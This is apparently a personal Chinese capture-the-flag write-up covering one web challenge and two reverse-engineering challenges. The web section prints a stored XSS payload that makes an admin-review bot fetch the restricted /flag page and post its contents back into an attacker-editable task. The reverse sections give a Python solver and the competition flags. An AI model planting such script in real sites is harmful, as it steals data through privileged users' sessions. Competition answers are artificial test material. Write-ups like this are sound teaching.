上午体测ORZ,下午打了打,团队最后名次83,以下为个人wp

WEB02

某安全测试人员接到了一项重要任务:对一套无人机系统的后台进行安全测试。这套系统负责管理无人机的飞行、数据传输和任务调度,请您测试该后台是否安全。

提交的flag格式:wdflag{xxxxx}

可以直接登录

访问/flag路由没有权限

image-20241029133313964

发现有更新任务和提交两个功能,xss

image-20241029133412350

提交后boss会审核任务清单,看来是bot

思路利用js脚本让bot访问/flag然后拿flag对/content/3bfe73cb352576d0fc01d009150950cf目录进行更新任务

<script>
    fetch('/flag', {
        method: 'GET',
        headers: {
            'Content-Type': 'application/json',
        }
    }).then(response => response.text()).then(flagData => {
        fetch('/content/3bfe73cb352576d0fc01d009150950cf', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: "content="+flagData
        });
    })
</script>

image-20241029133807105

REVERSE01

小明给出了一个程序包,作为逆向工程师的你,能否对其进行逆向分析,找出小明藏在其中的秘密?

提交的flag格式:wdflag{xxxxx}

领航杯原题

jeb找到主逻辑

image-20241029153001673

加载动态库

image-20241029153045877

enc判断

image-20241029153230214

enc

image-20241029153118498

发现sm4特征0xA3B1BAC6

image-20241029153446511

key被替换

image-20241029154756485

image-20241029154848673

直接解

image-20241029154609519

wdflag{7314c25f-7097-483e-b745-fe96bb6a0b24}

REVERSE02

从前,有一个秘密组织,他们的最高机密被存放在一段字符串中。为了保护这段字符串,组织设计了“四大护法”,每一位护法都掌握着一种魔法。只有通过“四大护法”的重重考验,才能解开这段字符串的秘密。你会如何通过这“四大护法”的考验,解开这段字符串的秘密?

提交的flag格式:wdflag{xxxxx}

长度40

image-20241029131509400

flag1每字节*2

image-20241029131627842

flag2异或

image-20241029131748381

flag3base64换表

image-20241029131811561

image-20241029131831609

flag4aes加密

image-20241029131858317

exp:

import base64
from Crypto.Cipher import AES
import binascii


enc1=[112,204,98,202,0x60,0x6e,0x6c,0x6c]
flag="wdflag{"
for i in enc1:
    flag+=chr(i//2)

enc2=[0x69,0x56,0x45,0x17,0x7d,0xd,0x11,0x52]
key1="XorrLord"
for i in range(len(enc2)):
    flag+=chr(ord(key1[i])^enc2[i])
enc3="QFC5QFOyBjS="
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
table2='CDEFGHIJKLMNOPQRSTUVWXYZABabcdefghijklmnopqrstuvwxyz0123456789+/'

flag+=base64.b64decode(enc3.translate(str.maketrans(table2,table))).decode()

enc4= b"fbd9b3abd988e60b937c95eb94db0b54"
key2 = b"AesMasterAesMast"
aes = AES.new(key2, AES.MODE_ECB)
en_text = binascii.unhexlify(enc4)  
den_text = aes.decrypt(en_text)
flag += den_text[:-den_text[-1]].decode()
flag +="}"
print(flag)

wdflag{8f1e0766197e1bc6809832f4d346fe66}